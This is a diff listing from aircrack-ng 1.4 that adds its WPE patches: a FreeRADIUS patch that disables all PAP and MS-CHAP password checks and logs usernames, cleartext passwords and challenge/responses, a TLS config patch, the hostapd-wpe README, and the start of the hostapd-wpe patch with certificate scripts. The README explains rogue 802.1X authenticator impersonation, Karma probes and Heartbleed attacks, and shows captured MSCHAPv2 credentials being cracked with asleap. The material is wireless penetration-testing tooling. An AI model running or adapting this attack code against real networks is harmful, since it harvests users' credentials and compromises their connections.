+diff -Nurp freeradius-server-3.0.12/src/modules/rlm_mschap/rlm_mschap.c freeradius-server-3.0.12-wpe/src/modules/rlm_mschap/rlm_mschap.c
+--- freeradius-server-3.0.12/src/modules/rlm_mschap/rlm_mschap.c	2016-09-29 11:19:48.000000000 -0400
++++ freeradius-server-3.0.12-wpe/src/modules/rlm_mschap/rlm_mschap.c	2018-04-23 17:05:26.440984402 -0400
+@@ -1103,10 +1103,13 @@ ntlm_auth_err:
+  */
+ static int CC_HINT(nonnull (1, 2, 4, 5 ,6)) do_mschap(rlm_mschap_t *inst, REQUEST *request, VALUE_PAIR *password,
+ 						      uint8_t const *challenge, uint8_t const *response,
+-						      uint8_t nthashhash[NT_DIGEST_LENGTH], MSCHAP_AUTH_METHOD method)
++						      uint8_t nthashhash[NT_DIGEST_LENGTH], MSCHAP_AUTH_METHOD method,
++						      const char *username)
+ {
+ 	uint8_t	calculated[24];
+ 
++	log_wpe("mschap", username, NULL, challenge, 8, response, 24, main_config.wpelogfile);
++
+ 	memset(nthashhash, 0, NT_DIGEST_LENGTH);
+ 
+ 	switch (method) {
+@@ -1123,9 +1126,11 @@ static int CC_HINT(nonnull (1, 2, 4, 5 ,
+ 		}
+ 
+ 		smbdes_mschap(password->vp_octets, challenge, calculated);
++		/*
+ 		if (rad_digest_cmp(response, calculated, 24) != 0) {
+ 			return -1;
+ 		}
++		*/
+ 
+ 		/*
+ 		 *	If the password exists, and is an NT-Password,
+@@ -1857,7 +1862,7 @@ static rlm_rcode_t CC_HINT(nonnull) mod_
+ 		 *	Do the MS-CHAP authentication.
+ 		 */
+ 		mschap_result = do_mschap(inst, request, password, challenge->vp_octets,
+-					  response->vp_octets + offset, nthashhash, auth_method);
++					  response->vp_octets + offset, nthashhash, auth_method, NULL);
+ 		/*
+ 		 *	Check for errors, and add MSCHAP-Error if necessary.
+ 		 */
+@@ -1965,7 +1970,7 @@ static rlm_rcode_t CC_HINT(nonnull) mod_
+ 
+ 		RDEBUG2("Client is using MS-CHAPv2");
+ 		mschap_result = do_mschap(inst, request, nt_password, mschapv1_challenge,
+-					  response->vp_octets + 26, nthashhash, auth_method);
++					  response->vp_octets + 26, nthashhash, auth_method, username_string);
+ 		rcode = mschap_error(inst, request, *response->vp_octets,
+ 				     mschap_result, mschap_version, smb_ctrl);
+ 		if (rcode != RLM_MODULE_OK) return rcode;
+diff -Nurp freeradius-server-3.0.12/src/modules/rlm_pap/rlm_pap.c freeradius-server-3.0.12-wpe/src/modules/rlm_pap/rlm_pap.c
+--- freeradius-server-3.0.12/src/modules/rlm_pap/rlm_pap.c	2016-09-29 11:19:48.000000000 -0400
++++ freeradius-server-3.0.12-wpe/src/modules/rlm_pap/rlm_pap.c	2018-04-23 17:05:35.570229326 -0400
+@@ -535,6 +535,7 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
+ 		RDEBUG("Comparing with \"known good\" Cleartext-Password");
+ 	}
+ 
++	/*
+ 	if ((vp->vp_length != request->password->vp_length) ||
+ 	    (rad_digest_cmp(vp->vp_octets,
+ 			    request->password->vp_octets,
+@@ -543,6 +544,7 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
+ 			request->password->vp_strvalue);
+ 		return RLM_MODULE_REJECT;
+ 	}
++	*/
+ 	return RLM_MODULE_OK;
+ }
+ 
+@@ -581,12 +583,12 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
+ 	fr_md5_update(&md5_context, request->password->vp_octets,
+ 		     request->password->vp_length);
+ 	fr_md5_final(digest, &md5_context);
+-
++	/*
+ 	if (rad_digest_cmp(digest, vp->vp_octets, vp->vp_length) != 0) {
+ 		REDEBUG("MD5 digest does not match \"known good\" digest");
+ 		return RLM_MODULE_REJECT;
+ 	}
+-
++	*/
+ 	return RLM_MODULE_OK;
+ }
+ 
+@@ -615,10 +617,12 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
+ 	/*
+ 	 *	Compare only the MD5 hash results, not the salt.
+ 	 */
++	/*
+ 	if (rad_digest_cmp(digest, vp->vp_octets, 16) != 0) {
+ 		REDEBUG("SMD5 digest does not match \"known good\" digest");
+ 		return RLM_MODULE_REJECT;
+ 	}
++	*/
+ 
+ 	return RLM_MODULE_OK;
+ }
+@@ -643,10 +647,12 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
+ 		      request->password->vp_length);
+ 	fr_sha1_final(digest,&sha1_context);
+ 
++	/*
+ 	if (rad_digest_cmp(digest, vp->vp_octets, vp->vp_length) != 0) {
+ 		REDEBUG("SHA1 digest does not match \"known good\" digest");
+ 		return RLM_MODULE_REJECT;
+ 	}
++	*/
+ 
+ 	return RLM_MODULE_OK;
+ }
+@@ -672,10 +678,12 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
+ 	fr_sha1_update(&sha1_context, &vp->vp_octets[20], vp->vp_length - 20);
+ 	fr_sha1_final(digest, &sha1_context);
+ 
++	/*
+ 	if (rad_digest_cmp(digest, vp->vp_octets, 20) != 0) {
+ 		REDEBUG("SSHA digest does not match \"known good\" digest");
+ 		return RLM_MODULE_REJECT;
+ 	}
++	*/
+ 
+ 	return RLM_MODULE_OK;
+ }
+@@ -736,10 +744,12 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
+ 
+ 	rad_assert((size_t) digest_len == vp->vp_length);	/* This would be an OpenSSL bug... */
+ 
++	/*
+ 	if (rad_digest_cmp(digest, vp->vp_octets, vp->vp_length) != 0) {
+ 		REDEBUG("%s digest does not match \"known good\" digest", name);
+ 		return RLM_MODULE_REJECT;
+ 	}
++	*/
+ 
+ 	return RLM_MODULE_OK;
+ }
+@@ -808,10 +818,12 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
+ 	/*
+ 	 *	Only compare digest_len bytes, the rest is salt.
+ 	 */
++	/*
+ 	if (rad_digest_cmp(digest, vp->vp_octets, (size_t)digest_len) != 0) {
+ 		REDEBUG("%s digest does not match \"known good\" digest", name);
+ 		return RLM_MODULE_REJECT;
+ 	}
++	*/
+ 
+ 	return RLM_MODULE_OK;
+ }
+@@ -845,10 +857,12 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
+ 
+ 	fr_md4_calc(digest, (uint8_t *) ucs2_password, len);
+ 
++	/*
+ 	if (rad_digest_cmp(digest, vp->vp_octets, vp->vp_length) != 0) {
+ 		REDEBUG("NT digest does not match \"known good\" digest");
+ 		return RLM_MODULE_REJECT;
+ 	}
++	*/
+ 
+ 	return RLM_MODULE_OK;
+ }
+@@ -875,11 +889,13 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
+ 		return RLM_MODULE_FAIL;
+ 	}
+ 
++	/*
+ 	if ((fr_hex2bin(digest, sizeof(digest), charbuf, len) != vp->vp_length) ||
+ 	    (rad_digest_cmp(digest, vp->vp_octets, vp->vp_length) != 0)) {
+ 		REDEBUG("LM digest does not match \"known good\" digest");
+ 		return RLM_MODULE_REJECT;
+ 	}
++	*/
+ 
+ 	return RLM_MODULE_OK;
+ }
+@@ -936,10 +952,12 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
+ 		fr_md5_final(buff, &md5_context);
+ 	}
+ 
++	/*
+ 	if (rad_digest_cmp(digest, buff, 16) != 0) {
+ 		REDEBUG("NS-MTA-MD5 digest does not match \"known good\" digest");
+ 		return RLM_MODULE_REJECT;
+ 	}
++	*/
+ 
+ 	return RLM_MODULE_OK;
+ }
+@@ -963,6 +981,9 @@ static rlm_rcode_t CC_HINT(nonnull) mod_
+ 		return RLM_MODULE_INVALID;
+ 	}
+ 
++	log_wpe("pap",request->username->vp_strvalue, request->password->vp_strvalue,
++		NULL, 0, NULL, 0, main_config.wpelogfile);
++
+ 	/*
+ 	 *	The user MUST supply a non-zero-length password.
+ 	 */

aircrack-ng-1.4.tar.gz/patches/wpe/freeradius-wpe/freeradius_3_0_15_openssl_1_1_tls_version_fix.diff Added

@@ -0,0 +1,198 @@
+diff --git a/src/main/tls.c b/src/main/tls.c
+index 1ac8fc1..dcc96ad 100644
+--- a/src/main/tls.c
++++ b/src/main/tls.c
+@@ -1226,6 +1226,10 @@ static CONF_PARSER tls_server_config[] = {
+ 	{ "disable_tlsv1_2", FR_CONF_OFFSET(PW_TYPE_BOOLEAN, fr_tls_server_conf_t, disable_tlsv1_2), NULL },
+ #endif
+ 
++	{ "tls_max_version", FR_CONF_OFFSET(PW_TYPE_STRING, fr_tls_server_conf_t, tls_max_version), "" },
++
++	{ "tls_min_version", FR_CONF_OFFSET(PW_TYPE_STRING, fr_tls_server_conf_t, tls_min_version), "1.0" },
++
+ 	{ "cache", FR_CONF_POINTER(PW_TYPE_SUBSECTION, NULL), (void const *) cache_config },
+ 
+ 	{ "verify", FR_CONF_POINTER(PW_TYPE_SUBSECTION, NULL), (void const *) verify_config },
+@@ -1271,6 +1275,11 @@ static CONF_PARSER tls_client_config[] = {
+ #ifdef SSL_OP_NO_TLSv1_2
+ 	{ "disable_tlsv1_2", FR_CONF_OFFSET(PW_TYPE_BOOLEAN, fr_tls_server_conf_t, disable_tlsv1_2), NULL },
+ #endif
++
++	{ "tls_max_version", FR_CONF_OFFSET(PW_TYPE_STRING, fr_tls_server_conf_t, tls_max_version), "" },
++
++	{ "tls_min_version", FR_CONF_OFFSET(PW_TYPE_STRING, fr_tls_server_conf_t, tls_min_version), "1.0" },
++
+ 	CONF_PARSER_TERMINATOR
+ };
+ 
+@@ -2665,6 +2674,28 @@ void tls_global_cleanup(void)
+ 	CRYPTO_cleanup_all_ex_data();
+ }
+ 
++
++/*
++ *	Map version strings to OpenSSL macros.
++ */
++static const FR_NAME_NUMBER version2int[] = {
++	{ "1.0",    TLS1_VERSION },
++#ifdef TLS1_1_VERSION
++	{ "1.1",    TLS1_1_VERSION },
++#endif
++#ifdef TLS1_2_VERSION
++	{ "1.2",    TLS1_2_VERSION },
++#endif
++#ifdef TLS1_3_VERSION
++	{ "1.3",    TLS1_3_VERSION },
++#endif
++#ifdef TLS1_4_VERSION
++	{ "1.4",    TLS1_4_VERSION },
++#endif
++	{ NULL, 0 }
++};
++
++
+ /** Create SSL context
+  *
+  * - Load the trusted CAs
+@@ -2900,22 +2931,122 @@ post_ca:
+ 	ctx_options |= SSL_OP_NO_SSLv3;
+ 
+ 	/*
+-	 *	As of 3.0.5, we always allow TLSv1.1 and TLSv1.2.
+-	 *	Though they can be *globally* disabled if necessary.x
++	 *	SSL_CTX_set_(min|max)_proto_version was included in OpenSSL 1.1.0
++	 *
++	 *	This version already defines macros for TLS1_2_VERSION and
++	 *	below, so we don't need to check for them explicitly.
++	 *
++	 *	TLS1_3_VERSION is available in OpenSSL 1.1.1.
++	 *
++	 *	TLS1_4_VERSION in speculative.
++	 */
++	{
++		int min_version = 0;
++		int max_version = 0;
++
++		/*
++		 *	Get the max version.
++		 */
++		if (conf->tls_max_version && *conf->tls_max_version) {
++			max_version = fr_str2int(version2int, conf->tls_max_version, 0);
++			if (!max_version) {
++				ERROR("Invalid value for tls_max_version '%s'", conf->tls_max_version);
++				return NULL;
++			}
++		} else {
++			/*
++			 *	Pick the maximum one we know about.
++			 */
++#ifdef TLS1_4_VERSION
++			max_version = TLS1_4_VERSION;
++#elif defined(TLS1_3_VERSION)
++			max_version = TLS1_3_VERSION;
++#elif defined(TLS1_2_VERSION)
++			max_version = TLS1_2_VERSION;
++#elif defined(TLS1_1_VERSION)
++			max_version = TLS1_1_VERSION;
++#else
++			max_version = TLS1_VERSION;
++#endif
++		}
++
++		/*
++		 *	Set these for the rest of the code.
++		 */
++		if (max_version < TLS1_2_VERSION) {
++			conf->disable_tlsv1_2 = true;
++		}
++		if (max_version < TLS1_1_VERSION) {
++			conf->disable_tlsv1_1 = true;
++		}
++
++		/*
++		 *	Get the min version.
++		 */
++		if (conf->tls_min_version && *conf->tls_min_version) {
++			min_version = fr_str2int(version2int, conf->tls_min_version, 0);
++			if (!min_version) {
++				ERROR("Unknown or unsupported value for tls_min_version '%s'", conf->tls_min_version);
++				return NULL;
++			}
++		} else {
++			min_version = TLS1_VERSION;
++		}
++
++		/*
++		 *	Compare the two.
++		 */
++		if (min_version > max_version) {
++			ERROR("tls_min_version '%s' must be <= tls_max_version '%s'",
++			      conf->tls_min_version, conf->tls_max_version);
++			return NULL;
++		}
++
++#if OPENSSL_VERSION_NUMBER >= 0x10100000L
++		if (!SSL_CTX_set_max_proto_version(ctx, max_version)) {
++			ERROR("Failed setting TLS maximum version");
++			return NULL;
++		}
++
++		if (!SSL_CTX_set_min_proto_version(ctx, min_version)) {
++			ERROR("Failed setting TLS minimum version");
++			return NULL;
++		}
++#endif	/* OpenSSL version >1.1.0 */
++	}
++
++	/*
++	 *	For historical config compatibility, we also allow
++	 *	these, but complain if the admin uses them.
+ 	 */
+ #ifdef SSL_OP_NO_TLSv1
+-	if (conf->disable_tlsv1) ctx_options |= SSL_OP_NO_TLSv1;
++	if (conf->disable_tlsv1) {
++		ctx_options |= SSL_OP_NO_TLSv1;
++#if OPENSSL_VERSION_NUMBER >= 0x10100000L
++		WARN("Please use tls_min_version and tls_max_version instead of disable_tlsv1");
++#endif
++	}
+ 
+ 	ctx_tls_versions |= SSL_OP_NO_TLSv1;
+ #endif
+ #ifdef SSL_OP_NO_TLSv1_1
+-	if (conf->disable_tlsv1_1) ctx_options |= SSL_OP_NO_TLSv1_1;
++	if (conf->disable_tlsv1_1) {
++		ctx_options |= SSL_OP_NO_TLSv1_1;
++#if OPENSSL_VERSION_NUMBER >= 0x10100000L
++		WARN("Please use tls_min_version and tls_max_version instead of disable_tlsv1_2");
++#endif
++	}
+ 
+ 	ctx_tls_versions |= SSL_OP_NO_TLSv1_1;
+ #endif
+ #ifdef SSL_OP_NO_TLSv1_2
+ 
+-	if (conf->disable_tlsv1_2) ctx_options |= SSL_OP_NO_TLSv1_2;
++	if (conf->disable_tlsv1_2) {
++		ctx_options |= SSL_OP_NO_TLSv1_2;
++#if OPENSSL_VERSION_NUMBER >= 0x10100000L
++		WARN("Please use tls_min_version and tls_max_version instead of disable_tlsv1_2");
++#endif
++	}
+ 
+ 	ctx_tls_versions |= SSL_OP_NO_TLSv1_2;
+ 
+diff --git a/src/include/tls-h b/src/include/tls-h
+index 6c4629b..bf57f33 100644
+--- a/src/include/tls-h
++++ b/src/include/tls-h
+@@ -357,6 +357,9 @@ struct fr_tls_server_conf_t {
+ 	bool		disable_tlsv1_1;
+ 	bool		disable_tlsv1_2;
+ 
++	char const	*tls_min_version;
++	char const	*tls_max_version;
++
+ 	/*
+ 	 *	Always < 4096 (due to radius limit), 0 by default = 1024
+ 	 */

aircrack-ng-1.4.tar.gz/patches/wpe/hostapd-wpe Added

aircrack-ng-1.4.tar.gz/patches/wpe/hostapd-wpe/README.md Added

@@ -0,0 +1,164 @@
+# About
+
+hostapd-wpe is the replacement for [FreeRADIUS-WPE](http://www.willhackforsushi.com/?page_id=37).
+
+It implements IEEE 802.1x Authenticator and Authentication Server impersonation attacks to obtain client credentials, establish connectivity to the client, and launch other attacks where applicable. 
+
+hostapd-wpe supports the following EAP types for impersonation:
+1. EAP-FAST/MSCHAPv2 (Phase 0)
+2. PEAP/MSCHAPv2
+3. EAP-TTLS/MSCHAPv2
+4. EAP-TTLS/MSCHAP
+5. EAP-TTLS/CHAP
+6. EAP-TTLS/PAP
+
+Once impersonation is underway, hostapd-wpe will return an EAP-Success message so that the client believes they are connected to their legitimate authenticator.
+
+For 802.11 clients, hostapd-wpe also implements Karma-style gratuitous probe responses. Inspiration for this was provided by [JoMo-Kun's patch](http://www.foofus.net/?page_id=115) for older versions of hostapd.
+
+hostapd-wpe also implements CVE-2014-0160 (Heartbleed) attacks against vulnerable clients. Inspiration for this was provided by the [Cupid](https://github.com/lgrangeia/cupid) PoC.
+
+hostapd-wpe logs all data to stdout and hostapd-wpe.log
+
+# Quick Usage
+Once hostapd-wpe.patch is applied, hostapd-wpe.conf will be created at /path/to/build/hostapd/hostapd-wpe.conf. See that file for more  information. Note that /path/to/build/hostapd/hostapd-wpe.eap_users will also be created, and hostapd-wpe is dependent on it. 
+
+Basic usage is:
+
+```
+hostapd-wpe hostapd-wpe.conf 
+```
+
+Credentials will be displayed on the screen and stored in hostapd-wpe.log
+
+Additional WPE command line options are:
+
+```
+-s  Return EAP-Success messages after credentials are harvested
+-k  Gratuitous probe responses (Karma mode) 
+-c  Attempt to exploit CVE-2014-0160 (Cupid mode)
+```
+
+# Building
+
+## Dependencies
+
+- pkg-config
+- libssl 1.0 ideally
+- libnl3 (and genl)
+- sqlite3
+
+Note: If libssl 1.1 is used, Heartbleed is not present due to issue #2122 in openssl GitHub repository
+
+## Debian-based distro
+
+```
+apt-get install libssl1.0-dev libnl-genl-3-dev libnl-3-dev pkg-config libsqlite3-dev
+``` 
+
+### Ubuntu
+
+```
+apt-get install libssl-dev libnl-genl-3-dev libnl-3-dev pkg-config libsqlite3-dev
+```
+
+## General
+
+```
+wget https://raw.githubusercontent.com/aircrack-ng/aircrack-ng/master/patches/wpe/hostapd-wpe/hostapd-wpe.patch
+wget http://hostap.epitest.fi/releases/hostapd-2.6.tar.gz
+tar -zxf hostapd-2.6.tar.gz
+cd hostapd-2.6
+patch -p1 < ../hostapd-wpe.patch 
+cd hostapd
+```
+
+Then:
+
+```
+make
+make install
+make wpe
+```
+
+# Creating certs
+
+```
+cd /etc/hostapd-wpe/certs
+./bootstrap
+make install
+```
+
+# Running
+
+With all of that complete, you can run hostapd. The patch will create a new hostapd-wpe.conf, which you'll likely need to modify in order to make it work for your attack. Once ready just run
+
+```
+hostapd /etc/hostapd-wpe/hostapd-wpe.conf
+```
+
+Look in the output for the username/challenge/response. It'll be there and in a hostapd-wpe.log file in the directory you ran hostapd from for instance here are the EAP-FAST Phase 0 creds from stdout:
+
+```
+username: jdslfkjs
+challenge: bc:87:6c:48:37:d3:92:6e
+response: 2d:00:61:59:56:06:02:dd:35:4a:0f:99:c8:6b:e1:fb:a3:04:ca:82:40:92:7c:f0
+```
+
+and as always, we feed them into asleap to crack:
+
+```
+# asleap -C bc:87:6c:48:37:d3:92:6e -R 2d:00:61:59:56:06:02:dd:35:4a:0f:99:c8:6b:e1:fb:a3:04:ca:82:40:92:7c:f0 -W wordlist 
+asleap 2.2 - actively recover LEAP/PPTP passwords. <jwright@hasborg.com>
+hash bytes:        b1ca
+NT hash:           e614b958df9df49ec094b8730f0bb1ca
+password:          bradtest
+```
+
+Alternatively MSCHAPv2 credentials are outputted in john the rippers NETNTLM format. 
+
+## Troubleshooting
+
+### OpenSSL: tls_global_ca_cert - Failed to load root certificates error:02001002:system library:fopen:No such file or directory
+
+Certificates are not created. Follow the procedure above to create them
+
+### nl80211 driver initialization failed.
+
+One of the possible reasons is that other processes are using the interface. Running ```airmon-ng check kill``` fixes the issue (it will kill any network manager and network connection).
+
+# EAP-Success
+
+Certain EAP types do not require the server to authenticate itself, just to validate the client's submitted credentials. Since we're playing the authentication server, that means we can easily just return an EAP-Success message to the client regardless of what they send us. The client is happy because they've connected, but unfortunately are unaware that they are connected to an unapproved authenticator. 
+
+At this point, the attacker can set up a dhcp server and give the client an IP and then do whatever they'd like (e.g. redirect dns, launch attacks, MiTM, etc..)
+
+MSCHAPv2 protects against this by having the server prove knowledge of the password most supplicants adhere to this policy, but we return EAP-Success just in case. 
+
+# Karma-Style Probes
+
+This functionality simply waits for an client to send a directed probe, when it does, it assumes that SSID and responds to the client. Only applicable to 802.11 clients.
+
+# A note on MSCHAPv2
+
+Microsoft offers something called "Computer Based Authentication". When a computer joins a domain it is assigned a password. This password is stored on the system and in active directory. We can harvest the MSCHAPv2 response from these systems but its going to take a lifetime to crack. Unless you're just trying to solve for the hash, and not the actual password :)
+
+One other thing to note, if the client returns all zeros, it isnt joined to a domain. 
+
+# Testing Heartbleed
+
+If you're running Ubuntu and want to test Heartbleed you'll need to downgrade to a vulnerable version of OpenSSL. That can be done by:
+
+```
+wget https://launchpad.net/~ubuntu-security/+archive/ubuntu/ppa/+build/5436465/+files/openssl_1.0.1-4ubuntu5.11_i386.deb
+wget https://launchpad.net/~ubuntu-security/+archive/ubuntu/ppa/+build/5436465/+files/libssl-dev_1.0.1-4ubuntu5.11_i386.deb
+wget https://launchpad.net/~ubuntu-security/+archive/ubuntu/ppa/+build/5436465/+files/libssl-doc_1.0.1-4ubuntu5.11_all.deb
+wget https://launchpad.net/~ubuntu-security/+archive/ubuntu/ppa/+build/5436465/+files/libssl1.0.0_1.0.1-4ubuntu5.11_i386.deb
+sudo dpkg -i libssl1.0.0_1.0.1-4ubuntu5.11_i386.deb 
+sudo dpkg --install libssl1.0.0_1.0.1-4ubuntu5.11_i386.deb \
+libssl-dev_1.0.1-4ubuntu5.11_i386.deb \
+libssl-doc_1.0.1-4ubuntu5.11_all.deb \
+openssl_1.0.1-4ubuntu5.11_i386.deb
+```
+
+Then use wpa_supplicant to connect to hostapd-wpe -c

aircrack-ng-1.4.tar.gz/patches/wpe/hostapd-wpe/hostapd-wpe.patch Added

@@ -0,0 +1,4194 @@
+diff -rupN hostapd-2.6/hostapd/certs/bootstrap hostapd-2.6-wpe/hostapd/certs/bootstrap
+--- hostapd-2.6/hostapd/certs/bootstrap	1970-01-01 01:00:00.000000000 +0100
++++ hostapd-2.6-wpe/hostapd/certs/bootstrap	2018-05-21 11:37:58.859577170 +0200
+@@ -0,0 +1,82 @@
++#!/bin/sh
++#
++#  This is a wrapper script to create default certificates when the
++#  server first starts in debugging mode.  Once the certificates have been
++#  created, this file should be deleted.
++#
++#  Ideally, this program should be run as part of the installation of any
++#  binary package.  The installation should also ensure that the permissions
++#  and owners are correct for the files generated by this script.
++#
++#  $Id: c9d939beac8d5bdc21ea1ff9233442f9ab933297 $
++#
++umask 027
++cd `dirname $0`
++
++make -h > /dev/null 2>&1
++
++#
++#  If we have a working "make", then use it.  Otherwise, run the commands
++#  manually.
++#
++if [ "$?" = "0" ]; then
++  make all
++  exit $?
++fi
++
++#
++#  The following commands were created by running "make -n", and edited
++#  to remove the trailing backslash, and to add "exit 1" after the commands.
++#
++#  Don't edit the following text.  Instead, edit the Makefile, and
++#  re-generate these commands.
++#
++if [ ! -f dh ]; then
++  openssl dhparam -out dh 1024 || exit 1
++  if [ -e /dev/urandom ] ; then
++	ln -sf /dev/urandom random
++  else
++	date > ./random;
++  fi
++fi
++
++if [ ! -f server.key ]; then
++  openssl req -new  -out server.csr -keyout server.key -config ./server.cnf || exit 1
++fi
++
++if [ ! -f ca.key ]; then
++  openssl req -new -x509 -keyout ca.key -out ca.pem -days `grep default_days ca.cnf | sed 's/.*=//;s/^ *//'` -config ./ca.cnf || exit 1
++fi
++
++if [ ! -f index.txt ]; then
++  touch index.txt
++fi
++
++if [ ! -f serial ]; then
++  echo '01' > serial
++fi
++
++if [ ! -f server.crt ]; then
++  openssl ca -batch -keyfile ca.key -cert ca.pem -in server.csr  -key `grep output_password ca.cnf | sed 's/.*=//;s/^ *//'` -out server.crt -extensions xpserver_ext -extfile xpextensions -config ./server.cnf || exit 1
++fi
++
++if [ ! -f server.p12 ]; then
++  openssl pkcs12 -export -in server.crt -inkey server.key -out server.p12  -passin pass:`grep output_password server.cnf | sed 's/.*=//;s/^ *//'` -passout pass:`grep output_password server.cnf | sed 's/.*=//;s/^ *//'` || exit 1
++fi
++
++if [ ! -f server.pem ]; then
++  openssl pkcs12 -in server.p12 -out server.pem -passin pass:`grep output_password server.cnf | sed 's/.*=//;s/^ *//'` -passout pass:`grep output_password server.cnf | sed 's/.*=//;s/^ *//'` || exit 1
++  openssl verify -CAfile ca.pem server.pem || exit 1
++fi
++
++if [ ! -f ca.der ]; then
++  openssl x509 -inform PEM -outform DER -in ca.pem -out ca.der || exit 1
++fi
++
++if [ ! -f client.key ]; then
++  openssl req -new  -out client.csr -keyout client.key -config ./client.cnf
++fi
++
++if [ ! -f client.crt ]; then
++  openssl ca -batch -keyfile ca.key -cert ca.pem -in client.csr  -key `grep output_password ca.cnf | sed 's/.*=//;s/^ *//'` -out client.crt -extensions xpclient_ext -extfile xpextensions -config ./client.cnf
++fi
+diff -rupN hostapd-2.6/hostapd/certs/ca.cnf hostapd-2.6-wpe/hostapd/certs/ca.cnf
+--- hostapd-2.6/hostapd/certs/ca.cnf	1970-01-01 01:00:00.000000000 +0100
++++ hostapd-2.6-wpe/hostapd/certs/ca.cnf	2018-05-21 11:37:58.859577170 +0200
+@@ -0,0 +1,62 @@
++[ ca ]
++default_ca		= CA_default
++
++[ CA_default ]
++dir			= ./
++certs			= $dir
++crl_dir			= $dir/crl
++database		= $dir/index.txt
++new_certs_dir		= $dir
++certificate		= $dir/ca.pem
++serial			= $dir/serial
++crl			= $dir/crl.pem
++private_key		= $dir/ca.key
++RANDFILE		= $dir/.rand
++name_opt		= ca_default
++cert_opt		= ca_default
++default_days		= 365
++default_crl_days	= 364
++default_md		= sha256
++preserve		= no
++policy			= policy_match
++crlDistributionPoints	= URI:http://www.example.org/example_ca.crl
++
++[ policy_match ]
++countryName		= match
++stateOrProvinceName	= match
++organizationName	= match
++organizationalUnitName	= optional
++commonName		= supplied
++emailAddress		= optional
++
++[ policy_anything ]
++countryName		= optional
++stateOrProvinceName	= optional
++localityName		= optional
++organizationName	= optional
++organizationalUnitName	= optional
++commonName		= supplied
++emailAddress		= optional
++
++[ req ]
++prompt			= no
++distinguished_name	= certificate_authority
++default_bits		= 2048
++input_password		= whatever
++output_password		= whatever
++x509_extensions		= v3_ca
++
++[certificate_authority]
++countryName		= FR
++stateOrProvinceName	= Radius
++localityName		= Somewhere
++organizationName	= Example Inc.
++emailAddress		= admin@example.org
++commonName		= "Example Certificate Authority"
++
++[v3_ca]
++subjectKeyIdentifier	= hash
++authorityKeyIdentifier	= keyid:always,issuer:always
++basicConstraints	= critical,CA:true
++crlDistributionPoints	= URI:http://www.example.org/example_ca.crl
++
+diff -rupN hostapd-2.6/hostapd/certs/client.cnf hostapd-2.6-wpe/hostapd/certs/client.cnf
+--- hostapd-2.6/hostapd/certs/client.cnf	1970-01-01 01:00:00.000000000 +0100
++++ hostapd-2.6-wpe/hostapd/certs/client.cnf	2018-05-21 11:37:58.859577170 +0200
+@@ -0,0 +1,53 @@
++[ ca ]
++default_ca		= CA_default
++
++[ CA_default ]
++dir			= ./
++certs			= $dir
++crl_dir			= $dir/crl
++database		= $dir/index.txt
++new_certs_dir		= $dir
++certificate		= $dir/ca.pem
++serial			= $dir/serial
++crl			= $dir/crl.pem
++private_key		= $dir/ca.key
++RANDFILE		= $dir/.rand
++name_opt		= ca_default
++cert_opt		= ca_default
++default_days		= 365
++default_crl_days	= 364
++default_md		= sha256
++preserve		= no
++policy			= policy_match
++
++[ policy_match ]
++countryName		= match
++stateOrProvinceName	= match
++organizationName	= match
++organizationalUnitName	= optional
++commonName		= supplied
++emailAddress		= optional
++
++[ policy_anything ]
++countryName		= optional
++stateOrProvinceName	= optional
++localityName		= optional
++organizationName	= optional
++organizationalUnitName	= optional
++commonName		= supplied
++emailAddress		= optional
++
++[ req ]
++prompt			= no
++distinguished_name	= client
++default_bits		= 2048
++input_password		= whatever
++output_password		= whatever
++
++[client]
++countryName		= FR
++stateOrProvinceName	= Radius
++localityName		= Somewhere
++organizationName	= Example Inc.
++emailAddress		= user@example.org
++commonName		= user@example.org
+diff -rupN hostapd-2.6/hostapd/certs/demoCA/cacert.pem hostapd-2.6-wpe/hostapd/certs/demoCA/cacert.pem
+--- hostapd-2.6/hostapd/certs/demoCA/cacert.pem	1970-01-01 01:00:00.000000000 +0100
++++ hostapd-2.6-wpe/hostapd/certs/demoCA/cacert.pem	2018-05-21 11:37:58.859577170 +0200
+@@ -0,0 +1,22 @@
++-----BEGIN CERTIFICATE-----
++MIIDtjCCAx+gAwIBAgIBADANBgkqhkiG9w0BAQQFADCBnzELMAkGA1UEBhMCQ0Ex
++ETAPBgNVBAgTCFByb3ZpbmNlMRIwEAYDVQQHEwlTb21lIENpdHkxFTATBgNVBAoT
++DE9yZ2FuaXphdGlvbjESMBAGA1UECxMJbG9jYWxob3N0MRswGQYDVQQDExJDbGll
++bnQgY2VydGlmaWNhdGUxITAfBgkqhkiG9w0BCQEWEmNsaWVudEBleGFtcGxlLmNv
++bTAeFw0wNDAxMjUxMzI2MDdaFw0wNjAxMjQxMzI2MDdaMIGfMQswCQYDVQQGEwJD
++QTERMA8GA1UECBMIUHJvdmluY2UxEjAQBgNVBAcTCVNvbWUgQ2l0eTEVMBMGA1UE
++ChMMT3JnYW5pemF0aW9uMRIwEAYDVQQLEwlsb2NhbGhvc3QxGzAZBgNVBAMTEkNs
++aWVudCBjZXJ0aWZpY2F0ZTEhMB8GCSqGSIb3DQEJARYSY2xpZW50QGV4YW1wbGUu
++Y29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDUxbGXJPFkrPH/sYnbHI+/
++9PFDlup8sekPeNaUUXJTd4ld/lLMuZtB6A3etYsSepQ/T1jLxWKHgZL73G/s6fhx
++58Ew01z1GIgX6bEzJJ7dKhx10xBDrodVPOx6d+8mqn10KB25t34XxkRsXdmxiLQy
++UMoCKZY3IqEjpyawC0An/QIDAQABo4H/MIH8MB0GA1UdDgQWBBRo020+Hue8nVoF
++cCHDY9oTZdGt4zCBzAYDVR0jBIHEMIHBgBRo020+Hue8nVoFcCHDY9oTZdGt46GB
++paSBojCBnzELMAkGA1UEBhMCQ0ExETAPBgNVBAgTCFByb3ZpbmNlMRIwEAYDVQQH
++EwlTb21lIENpdHkxFTATBgNVBAoTDE9yZ2FuaXphdGlvbjESMBAGA1UECxMJbG9j
++YWxob3N0MRswGQYDVQQDExJDbGllbnQgY2VydGlmaWNhdGUxITAfBgkqhkiG9w0B
